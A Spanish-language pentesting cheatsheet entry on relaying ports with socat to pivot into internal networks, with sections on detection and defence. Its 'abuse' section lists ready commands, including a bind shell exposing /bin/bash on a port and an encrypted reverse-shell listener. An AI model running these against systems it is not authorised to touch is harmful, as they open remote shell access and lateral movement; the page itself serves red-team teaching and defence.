Port Relay with socat
Arsenal completo de comandos en la cheatsheetsocat es una navaja suiza de conexiones que, en pivoting, se usa como redirector de puertos: escucha en un puerto de un host y reenvía cada conexión a otro destino. Sirve para encadenar saltos cuando desde nuestra máquina no llegamos a un host interno, pero un pivote intermedio sí.
Por qué funciona. socat une dos "canales" y copia bytes de uno a otro. En modo TCP-LISTEN:...,fork crea un socket de escucha y, por cada conexión entrante, abre otra hacia el destino que le indiquemos, haciendo de puente. Colocado en un host que ve tanto nuestra red como una red interna, convierte ese host en un trampolín hacia servicios a los que no teníamos ruta directa.
El abuso. Se sube socat al pivote y se monta el relay hacia el servicio interno; también sirve para reenviar un handler de vuelta o para cifrar el canal con TLS.
# en el pivote: escuchar en 8080 y reenviar a un host:puerto internos
socat TCP4-LISTEN:8080,fork,reuseaddr TCP4:<internal-ip>:<rport>
# relay para traer un servicio interno hacia el atacante (reenvio inverso)
socat TCP4-LISTEN:<lport>,fork TCP4:<lhost>:<rport>
# relay de UDP (p.ej. DNS/SNMP internos)
socat UDP4-LISTEN:<lport>,fork UDP4:<internal-ip>:<rport>
# bind shell simple en el pivote
socat TCP4-LISTEN:<lport>,reuseaddr,fork EXEC:/bin/bash
# recibir una reverse shell totalmente interactiva por un relay cifrado
socat OPENSSL-LISTEN:<lport>,cert=shell.pem,verify=0,fork -Requisitos. Hace falta ejecutar socat en el pivote (o subir un binario estático) y que el pivote tenga visibilidad del destino. Es un reenvío puerto a puerto: para llegar a toda una red hace falta un relay por servicio, o mejor un SOCKS/tun como el SOCKS de SSH o ligolo-ng.
Cómo detectarlo. La señal es un proceso socat con un socket en escucha y conexiones salientes emparejadas hacia otra red: un puerto de escucha nuevo en un servidor, atendido por un binario que no forma parte de sus servicios, es sospechoso. En red, un host que reenvía tráfico entre dos segmentos que no debería puentear es la firma.
Defensa. Control de aplicaciones para impedir binarios como socat en servidores, segmentación para que un host no tenga patas en dos redes sensibles, y monitorización de puertos de escucha y conexiones puente anómalas. Complementa el remote port forwarding para encadenar saltos y comparte objetivo con ligolo-ng y el reenvío de puertos de SSH.